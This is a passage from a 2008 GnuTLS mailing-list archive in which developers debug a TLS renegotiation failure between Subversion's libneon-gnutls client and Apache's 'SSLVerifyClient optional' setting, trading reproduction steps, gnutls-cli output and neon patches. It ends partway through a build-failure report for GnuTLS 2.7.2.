Updated patch in gnome bugzilla. Thanks again Simon. That patch looks simple and nice, thanks. /Simon From dkg at fifthhorseman.net Fri Nov 21 00:01:57 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Thu, 20 Nov 2008 18:01:57 -0500 Subject: confirming debian #480041: subversion with libneon-gnutls fails if apache's SSLVerifyClient optional is set Message-ID: <87zlju3st6.fsf@squeak.fifthhorseman.net> I just wanted to confirm this problem: I'm using the current debian testing (on both client and server), subversion against an https repository hosted by apache with mod_ssl and mod_svn. The client in these scenarios *does not* have an X.509 certificate at all, but uses username/password authentication instead. If i set up the apache mod_svn authentication like this: AuthType Basic AuthName "foo" AuthUserFile /srv/etc/htpasswd Require valid-user Then a simple svn co works (i get prompted for a username/password if none is cached, or it just connects if the authentication credentials are already cached). However, if i switch the authentication to: AuthType Basic AuthName "foo" AuthUserFile /srv/etc/htpasswd SSLVerifyClient optional SSLVerifyDepth 1 SSLUserName SSL_CLIENT_S_DN_CN Require valid-user Then a checkout fails with: [0 dkg at squeak ~]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla': Could not read status line: SSL error: Rehandshake was requested by the peer. (https://foo.example.org) [1 dkg at squeak ~]$ On the client side: [0 dkg at squeak ~]$ dpkg -l libsvn1 libneon27-gnutls libgnutls26 subversion libtasn1-3 Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) ||/ Name Version Description +++-==============-==============-============================================ ii libgnutls26 2.6.2-1 the GNU TLS library - runtime library ii libneon27-gnut 0.28.2-5 An HTTP and WebDAV client library (GnuTLS en ii libsvn1 1.5.1dfsg1-1 Shared libraries used by Subversion ii libtasn1-3 1.4-1 Manage ASN.1 structures (runtime) ii subversion 1.5.1dfsg1-1 Advanced version control system [0 dkg at squeak ~]$ on the server side: foo:/# dpkg -l apache2-mpm-worker libapache2-svn libssl0.9.8 Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) ||/ Name Version Description +++-==============-==============-============================================ ii apache2-mpm-wo 2.2.9-10 Apache HTTP Server - high speed threaded mod ii libapache2-svn 1.5.1dfsg1-1 Subversion server modules for Apache ii libssl0.9.8 0.9.8g-14 SSL shared libraries foo:/# If i leave the server configured with SSLVerifyClient optional, i can make svn work by doing the following as the superuser (thanks to Krystian Bac?awski for the suggestion): cd /usr/lib rm libneon-gnutls.so.27 ln -s libneon.so.27 libneon-gnutls.so.27 In that case, svn (indirectly hooked via libneon into OpenSSL instead of gnutls) prompts me for a choice of certificate about 6 times, and then goes ahead and authenticates me via username/password. So this is clearly either a problem with libneon-gnutls, or with gnutls itself. I see the same problem whether i'm using libgnutls26 2.4.2-3 (from lenny) or 2.6.2-1 (from experimental). --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From dkg at fifthhorseman.net Fri Nov 21 01:02:30 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Thu, 20 Nov 2008 19:02:30 -0500 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce Message-ID: <87od0aymi1.fsf@squeak.fifthhorseman.net> OK, i'm now sure that debian #480041 is a gnutls problem, and not just due to something wacky in libneon (though there may be libneon bits as well). Here's a way to duplicate the problem without using libneon. Add the following line to /etc/hosts: 127.0.0.1 fubar.example.org Generate an X.509 self-signed key/cert pair (or use an existing key/cert pair -- it doesn't have to be self-signed): mkdir /tmp/testing && cd /tmp/testing openssl req -newkey rsa:1024 -keyout key.pem -nodes -subj '/CN=fubar.example.org' -x509 > cert.pem Configure an apache2 virtualhost like this: -------------------------------- ServerName fubar.example.org DocumentRoot /var/www/ SSLEngine on SSLCertificateFile /tmp/testing/cert.pem SSLCertificateKeyFile /tmp/testing/key.pem SSLCACertificateFile /tmp/testing/cert.pem SSLVerifyClient optional -------------------------------- Then run the following command to simulate a web connection: HTTP_QUERY='GET / http/1.1\r\nHost: fubar.example.org\r\n\r\n' (sleep 3 && echo -e "$HTTP_QUERY" && sleep 3) | gnutls-cli fubar.example.org The tail of the output looks like this for me: --------------------------------- ... - Peer's certificate issuer is unknown - Peer's certificate is NOT trusted - Version: TLS1.0 - Key Exchange: DHE-RSA - Cipher: AES-128-CBC - MAC: SHA1 - Compression: NULL - Handshake was completed - Simple Client Mode: *** Non fatal error: Rehandshake was requested by the peer. *** Fatal error: A TLS fatal alert has been received. *** Received alert [10]: Unexpected message *** Server has terminated the connection abnormally. --------------------------------- The apache2 error log looks like: [Thu Nov 20 18:55:30 2008] [error] Re-negotiation handshake failed: Not accepted by client!? Interestingly, if i don't wrap the "SSLVerifyClient optional" line in the tag, the connection goes through cleanly. I think this means that the problem appears when the handshake is re-negotiated after some traffic has already been sent. Hope this is helpful in debugging the problem. --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From nmav at gnutls.org Fri Nov 21 08:24:02 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Fri, 21 Nov 2008 09:24:02 +0200 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <87od0aymi1.fsf@squeak.fifthhorseman.net> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> Message-ID: <49266212.6030004@gnutls.org> Daniel Kahn Gillmor wrote: > OK, i'm now sure that debian #480041 is a gnutls problem, and not just > due to something wacky in libneon (though there may be libneon bits as > well). Here's a way to duplicate the problem without using libneon. [...] > - Simple Client Mode: > > *** Non fatal error: Rehandshake was requested by the peer. > *** Fatal error: A TLS fatal alert has been received. > *** Received alert [10]: Unexpected message > *** Server has terminated the connection abnormally. > --------------------------------- Hello, this does not seem to be a gnutls error. The server merely asks for renegotiation, gnutls-cli ignores it (legal behavior) and server does not like it thus sends a fatal alert. However which version of gnutls-cli is that? Can you try with the latest? For neon to solve this, it has to perform a handshake after the rehandshake request has been required. regards, Nikos From joe at manyfish.co.uk Fri Nov 21 09:29:44 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Fri, 21 Nov 2008 08:29:44 +0000 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <49266212.6030004@gnutls.org> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> Message-ID: <20081121082944.GA22857@manyfish.co.uk> On Fri, Nov 21, 2008 at 09:24:02AM +0200, Nikos Mavrogiannopoulos wrote: > For neon to solve this, it has to perform a handshake after the > rehandshake request has been required. Ah, I didn't realise that - OpenSSL will automatically rehandshake whenever requested by the server. So to provide the equivalent behaviour with GnuTLS, I have to do something like: start: ret = gnutls_record_send(blah); if (ret == GNUTLS_E_REHANDSHAKE) { gnutls_handshake(blah); goto start; } and similarly with calls to record_recv? Regards, Joe From nmav at gnutls.org Fri Nov 21 14:03:49 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Fri, 21 Nov 2008 15:03:49 +0200 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <20081121082944.GA22857@manyfish.co.uk> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> Message-ID: Actually you only need to do this test on record_recv(). Note that usually servers request upgrade in order to receive a client certificate, thus it might be a good idea to notify or prompt the user about that. regards, Nikos On Fri, Nov 21, 2008 at 10:29 AM, Joe Orton wrote: > On Fri, Nov 21, 2008 at 09:24:02AM +0200, Nikos Mavrogiannopoulos wrote: >> For neon to solve this, it has to perform a handshake after the >> rehandshake request has been required. > > Ah, I didn't realise that - OpenSSL will automatically rehandshake > whenever requested by the server. So to provide the equivalent > behaviour with GnuTLS, I have to do something like: > > start: > ret = gnutls_record_send(blah); > if (ret == GNUTLS_E_REHANDSHAKE) { > gnutls_handshake(blah); > goto start; > } > > and similarly with calls to record_recv? > > Regards, Joe > From joe at manyfish.co.uk Fri Nov 21 14:20:40 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Fri, 21 Nov 2008 13:20:40 +0000 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> Message-ID: <20081121132040.GA25245@manyfish.co.uk> On Fri, Nov 21, 2008 at 03:03:49PM +0200, Nikos Mavrogiannopoulos wrote: > Actually you only need to do this test on record_recv(). OK. > Note that usually servers request upgrade in order to receive a client > certificate, thus it might be a good idea to notify or prompt the user > about that. neon already has a callback which does that, yeah. Daniel, can you try this neon patch? Index: src/ne_socket.c =================================================================== --- src/ne_socket.c (revision 1607) +++ src/ne_socket.c (working copy) @@ -750,13 +750,15 @@ static ssize_t read_gnutls(ne_socket *sock, char *buffer, size_t len) { ssize_t ret; + int reneg = 1; /* number of rehandshakes allowed */ ret = readable_gnutls(sock, sock->rdtimeout); if (ret) return ret; do { ret = gnutls_record_recv(sock->ssl, buffer, len); - } while (RETRY_GNUTLS(sock, ret)); + } while (RETRY_GNUTLS(sock, ret) + || (ret == GNUTLS_E_REHANDSHAKE && reneg-- > 0)); if (ret <= 0) ret = error_gnutls(sock, ret); From dkg at fifthhorseman.net Fri Nov 21 17:54:00 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 21 Nov 2008 11:54:00 -0500 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <49266212.6030004@gnutls.org> (Nikos Mavrogiannopoulos's message of "Fri\, 21 Nov 2008 09\:24\:02 +0200") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> Message-ID: <87hc61ow9j.fsf@squeak.fifthhorseman.net> On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote: > Hello, this does not seem to be a gnutls error. The server merely asks > for renegotiation, gnutls-cli ignores it (legal behavior) and server > does not like it thus sends a fatal alert. However which version of > gnutls-cli is that? Can you try with the latest? That was originally tested against debian's 2.4.2-3. With 2.6.2-1 (from debian experimental), i get the same output: ... - Peer's certificate issuer is unknown - Peer's certificate is NOT trusted - Version: TLS1.0 - Key Exchange: DHE-RSA - Cipher: AES-128-CBC - MAC: SHA1 - Compression: NULL - Handshake was completed - Simple Client Mode: *** Non fatal error: Rehandshake was requested by the peer. *** Fatal error: A TLS fatal alert has been received. *** Received alert [10]: Unexpected message *** Server has terminated the connection abnormally. --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From dkg at fifthhorseman.net Fri Nov 21 17:58:36 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 21 Nov 2008 11:58:36 -0500 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <49266212.6030004@gnutls.org> (Nikos Mavrogiannopoulos's message of "Fri\, 21 Nov 2008 09\:24\:02 +0200") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> Message-ID: <87d4gpow1v.fsf@squeak.fifthhorseman.net> On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote: > Hello, this does not seem to be a gnutls error. The server merely asks > for renegotiation, gnutls-cli ignores it (legal behavior) and server > does not like it thus sends a fatal alert. Do you think this is exposing a bug in mod_ssl, then? If it is legal behavior to ignore a renegotiation, it seems to me that SSLVerifyClient optional should not cause the server to terminate the connection if a rehandshake is rejected. Should we clone this bug, or open a new report against apache or openssl? --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From nmav at gnutls.org Fri Nov 21 19:54:37 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Fri, 21 Nov 2008 20:54:37 +0200 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <87d4gpow1v.fsf@squeak.fifthhorseman.net> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <87d4gpow1v.fsf@squeak.fifthhorseman.net> Message-ID: <492703ED.8030803@gnutls.org> Daniel Kahn Gillmor wrote: > On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote: > >> Hello, this does not seem to be a gnutls error. The server merely asks >> for renegotiation, gnutls-cli ignores it (legal behavior) and server >> does not like it thus sends a fatal alert. > > Do you think this is exposing a bug in mod_ssl, then? If it is legal > behavior to ignore a renegotiation, it seems to me that > SSLVerifyClient optional should not cause the server to terminate the > connection if a rehandshake is rejected. Should we clone this bug, or > open a new report against apache or openssl? Could you first send me a capture to be used with wireshark so i can check precisely what is happening there (gnutls-cli) and rule out any gnutls issue? regards, Nikos From dkg at fifthhorseman.net Fri Nov 21 20:18:14 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 21 Nov 2008 14:18:14 -0500 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <492703ED.8030803@gnutls.org> (Nikos Mavrogiannopoulos's message of "Fri\, 21 Nov 2008 20\:54\:37 +0200") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <87d4gpow1v.fsf@squeak.fifthhorseman.net> <492703ED.8030803@gnutls.org> Message-ID: <87abbsevm1.fsf@squeak.fifthhorseman.net> On Fri 2008-11-21 13:54:37 -0500, Nikos Mavrogiannopoulos wrote: > Could you first send me a capture to be used with wireshark so i can > check precisely what is happening there (gnutls-cli) and rule out any > gnutls issue? Attached is a pcap file, and the test key and certificate used by the server during the communication. The client had no certificate. wireshark tells me that the TCP checksums of most packets in the packet capture are wrong; i don't know why that is, nor do i think it's particularly relevant, given that this was all done across the loopback interface. This packet capture was done with gnutls-cli 2.6.2-1 and with libgnutls26 from the same version. Hope this is helpful, --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: 480041.pcap Type: application/cap Size: 4276 bytes Desc: packet capture URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: key.pem URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: cert.pem URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From dkg at fifthhorseman.net Fri Nov 21 20:34:41 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 21 Nov 2008 14:34:41 -0500 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <87abbsevm1.fsf@squeak.fifthhorseman.net> (Daniel Kahn Gillmor's message of "Fri\, 21 Nov 2008 14\:18\:14 -0500") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <87d4gpow1v.fsf@squeak.fifthhorseman.net> <492703ED.8030803@gnutls.org> <87abbsevm1.fsf@squeak.fifthhorseman.net> Message-ID: <87ej14c1pq.fsf@squeak.fifthhorseman.net> On Fri 2008-11-21 14:18:14 -0500, Daniel Kahn Gillmor wrote: > Attached is a pcap file, and the test key and certificate used by the > server during the communication. The client had no certificate. And here, i've attached a pcap of the connection using openssl, which actually returns some HTTP output and terminates cleanly. The openssl invocation was: (sleep 3 && echo -e "$HTTP_QUERY" && sleep 3) | \ openssl s_client -connect fubar.example.org:443 as compared to the gnutls-cli invocation of: (sleep 3 && echo -e "$HTTP_QUERY" && sleep 3) | \ gnutls-cli fubar.example.org hope this is useful, --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: 480041.openssl.pcap Type: application/cap Size: 6141 bytes Desc: packet capture using openssl s_client URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From dkg at fifthhorseman.net Fri Nov 21 20:37:01 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 21 Nov 2008 14:37:01 -0500 Subject: gnutls-cli return codes [was: Re: confirmation that debian #480041 is a gnutls problem, and steps to reproduce] In-Reply-To: <49266212.6030004@gnutls.org> (Nikos Mavrogiannopoulos's message of "Fri\, 21 Nov 2008 09\:24\:02 +0200") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> Message-ID: <87abbsc1lu.fsf_-_@squeak.fifthhorseman.net> On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote: > Daniel Kahn Gillmor wrote: > >> *** Non fatal error: Rehandshake was requested by the peer. >> *** Fatal error: A TLS fatal alert has been received. >> *** Received alert [10]: Unexpected message >> *** Server has terminated the connection abnormally. >> --------------------------------- > > Hello, this does not seem to be a gnutls error. The server merely > asks for renegotiation, gnutls-cli ignores it (legal behavior) and > server does not like it thus sends a fatal alert. It looks to me like gnutls-cli has a return code of 0 in this situation. Wouldn't it make more sense to exit with a non-zero return code when the server has terminated the connection abnormally? --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From nmav at gnutls.org Fri Nov 21 20:46:51 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Fri, 21 Nov 2008 21:46:51 +0200 Subject: gnutls-cli return codes [was: Re: confirmation that debian #480041 is a gnutls problem, and steps to reproduce] In-Reply-To: <87abbsc1lu.fsf_-_@squeak.fifthhorseman.net> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <87abbsc1lu.fsf_-_@squeak.fifthhorseman.net> Message-ID: <4927102B.8090709@gnutls.org> Daniel Kahn Gillmor wrote: > On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote: > >> Daniel Kahn Gillmor wrote: >> >>> *** Non fatal error: Rehandshake was requested by the peer. >>> *** Fatal error: A TLS fatal alert has been received. >>> *** Received alert [10]: Unexpected message >>> *** Server has terminated the connection abnormally. >>> --------------------------------- >> Hello, this does not seem to be a gnutls error. The server merely >> asks for renegotiation, gnutls-cli ignores it (legal behavior) and >> server does not like it thus sends a fatal alert. > > It looks to me like gnutls-cli has a return code of 0 in this > situation. Wouldn't it make more sense to exit with a non-zero return > code when the server has terminated the connection abnormally? Indeed, I've modified it to do so. regards, Nikos From joe at manyfish.co.uk Fri Nov 21 22:59:21 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Fri, 21 Nov 2008 21:59:21 +0000 Subject: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <87d4gpow1v.fsf@squeak.fifthhorseman.net> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <87d4gpow1v.fsf@squeak.fifthhorseman.net> Message-ID: <20081121215921.GA27465@manyfish.co.uk> On Fri, Nov 21, 2008 at 11:58:36AM -0500, Daniel Kahn Gillmor wrote: > On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote: > > > Hello, this does not seem to be a gnutls error. The server merely asks > > for renegotiation, gnutls-cli ignores it (legal behavior) and server > > does not like it thus sends a fatal alert. > > Do you think this is exposing a bug in mod_ssl, then? If it is legal > behavior to ignore a renegotiation, it seems to me that > SSLVerifyClient optional should not cause the server to terminate the > connection if a rehandshake is rejected. Should we clone this bug, or > open a new report against apache or openssl? IIUC what will happen in this case is that mod_ssl puts OpenSSL into the state where it expects a full handshake - if it receives any app_data packets OpenSSL treats thas a hard failure. And slso IIUC - this results in the server sending a ChangeCipherSpec message on the wire - and the client has no option to ignore that in TLS, right? joe From dkg at fifthhorseman.net Sat Nov 22 06:51:05 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Sat, 22 Nov 2008 00:51:05 -0500 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <20081121132040.GA25245@manyfish.co.uk> (Joe Orton's message of "Fri\, 21 Nov 2008 13\:20\:40 +0000") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> Message-ID: <87zljss3zq.fsf@squeak.fifthhorseman.net> On Fri 2008-11-21 08:20:40 -0500, Joe Orton wrote: > neon already has a callback which does that, yeah. > > Daniel, can you try this neon patch? OK, after figuring out how to build neon27 (don't try it in a path that contains the string "libneon" in it), i tried applying the patch. With tour patch, svn co just runs forever against an svn server configured with SSLVerifyClient optional, and never fetches anything. What additional bits of debugging would you like? --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From joe at manyfish.co.uk Sat Nov 22 09:05:03 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Sat, 22 Nov 2008 08:05:03 +0000 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <87zljss3zq.fsf@squeak.fifthhorseman.net> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> <87zljss3zq.fsf@squeak.fifthhorseman.net> Message-ID: <20081122080503.GA15594@manyfish.co.uk> On Sat, Nov 22, 2008 at 12:51:05AM -0500, Daniel Kahn Gillmor wrote: > On Fri 2008-11-21 08:20:40 -0500, Joe Orton wrote: > > > neon already has a callback which does that, yeah. > > > > Daniel, can you try this neon patch? > > OK, after figuring out how to build neon27 (don't try it in a path > that contains the string "libneon" in it), i tried applying the patch. I guess that's a problem with the Debian package build process? > With tour patch, svn co just runs forever against an svn server > configured with SSLVerifyClient optional, and never fetches anything. Err, reading that patch again, it's complete rubbish. Could you try the one below which is hopefully less rubbish? Thanks a lot for working on this! Index: src/ne_socket.c =================================================================== --- src/ne_socket.c (revision 1607) +++ src/ne_socket.c (working copy) @@ -750,13 +750,18 @@ static ssize_t read_gnutls(ne_socket *sock, char *buffer, size_t len) { ssize_t ret; + unsigned reneg = 1; /* number of allowed rehandshakes */ ret = readable_gnutls(sock, sock->rdtimeout); if (ret) return ret; do { - ret = gnutls_record_recv(sock->ssl, buffer, len); - } while (RETRY_GNUTLS(sock, ret)); + do { + ret = gnutls_record_recv(sock->ssl, buffer, len); + } while (RETRY_GNUTLS(sock, ret)); + + } while (ret == GNUTLS_E_REHANDSHAKE && reneg-- + && (ret = gnutls_handshake(sock->ssl)) == GNUTLS_E_SUCCESS); if (ret <= 0) ret = error_gnutls(sock, ret); From dkg at fifthhorseman.net Sat Nov 22 19:54:43 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Sat, 22 Nov 2008 13:54:43 -0500 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <20081122080503.GA15594@manyfish.co.uk> (Joe Orton's message of "Sat\, 22 Nov 2008 08\:05\:03 +0000") References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> <87zljss3zq.fsf@squeak.fifthhorseman.net> <20081122080503.GA15594@manyfish.co.uk> Message-ID: <87bpw7pp58.fsf@squeak.fifthhorseman.net> On Sat 2008-11-22 03:05:03 -0500, Joe Orton wrote: > Err, reading that patch again, it's complete rubbish. I thought it looked a little sparse, actually, but i've never really poked around inside libneon before. Thanks for the updated patch. > Could you try the one below which is hopefully less rubbish? Thanks > a lot for working on this! This does something different now: [0 dkg at squeak cdtemp.oNUHIC]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla: Could not read status line: SSL error: Decryption has failed. (https://foo.example.org) [1 dkg at squeak cdtemp.oNUHIC]$ But it's still not just going ahead with the checkout the way it does when i use the openssl version of libneon. Can i give you more detailed debugging info somehow? --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From joe at manyfish.co.uk Sat Nov 22 23:13:00 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Sat, 22 Nov 2008 22:13:00 +0000 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <87bpw7pp58.fsf@squeak.fifthhorseman.net> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> <87zljss3zq.fsf@squeak.fifthhorseman.net> <20081122080503.GA15594@manyfish.co.uk> <87bpw7pp58.fsf@squeak.fifthhorseman.net> Message-ID: <20081122221300.GA20323@manyfish.co.uk> On Sat, Nov 22, 2008 at 01:54:43PM -0500, Daniel Kahn Gillmor wrote: > On Sat 2008-11-22 03:05:03 -0500, Joe Orton wrote: > [0 dkg at squeak cdtemp.oNUHIC]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla > svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla: > Could not read status line: SSL error: Decryption has failed. > (https://foo.example.org) > [1 dkg at squeak cdtemp.oNUHIC]$ > > But it's still not just going ahead with the checkout the way it does > when i use the openssl version of libneon. Can i give you more > detailed debugging info somehow? Interesting, thanks for trying that out. I'm not sure what else neon could do to make this work correctly so I think further diagnosis based on packet traces will be needed. I can try to work on that sometime in the coming week, with luck. It might be useful to modify gnutls-cli to call gnutls_rehandshake() in the same fashion as my patch to neon, to get some debugging traces from GnuTLS, if you wanted to try that. Regards, Joe From arfrever.fta at gmail.com Sun Nov 23 00:18:43 2008 From: arfrever.fta at gmail.com (Arfrever Frehtes Taifersar Arahesis) Date: Sun, 23 Nov 2008 00:18:43 +0100 Subject: GnuTLS 2.7.2 fails to build with -Wl,--as-needed in LDFLAGS Message-ID: <200811230019.26429.Arfrever.FTA@gmail.com> GnuTLS 2.7.2 fails to build with -Wl,--as-needed in LDFLAGS: i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -MT certtool.o -MD -MP -MF .deps/certtool.Tpo -c -o certtool.o certtool.c mv -f .deps/certtool.Tpo .deps/certtool.Po i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -MT prime.o -MD -MP -MF .deps/prime.Tpo -c -o prime.o prime.c mv -f .deps/prime.Tpo .deps/prime.Po /bin/sh ../libtool --tag=CC --mode=link i686-pc-linux-gnu-gcc -std=gnu99 -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -Wl,-O1,--as-needed,--gc-sections,--hash-style=gnu,--sort-common -o certtool certtool.o prime.o ../lib/libgnutls.la ../libextra/libgnutls-extra.la ../gl/libgnu.la ../lib/gl/liblgnu.la -L/usr/lib -lreadline libcmd-certtool.la libcfg.la libtool: link: i686-pc-linux-gnu-gcc -std=gnu99 -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long 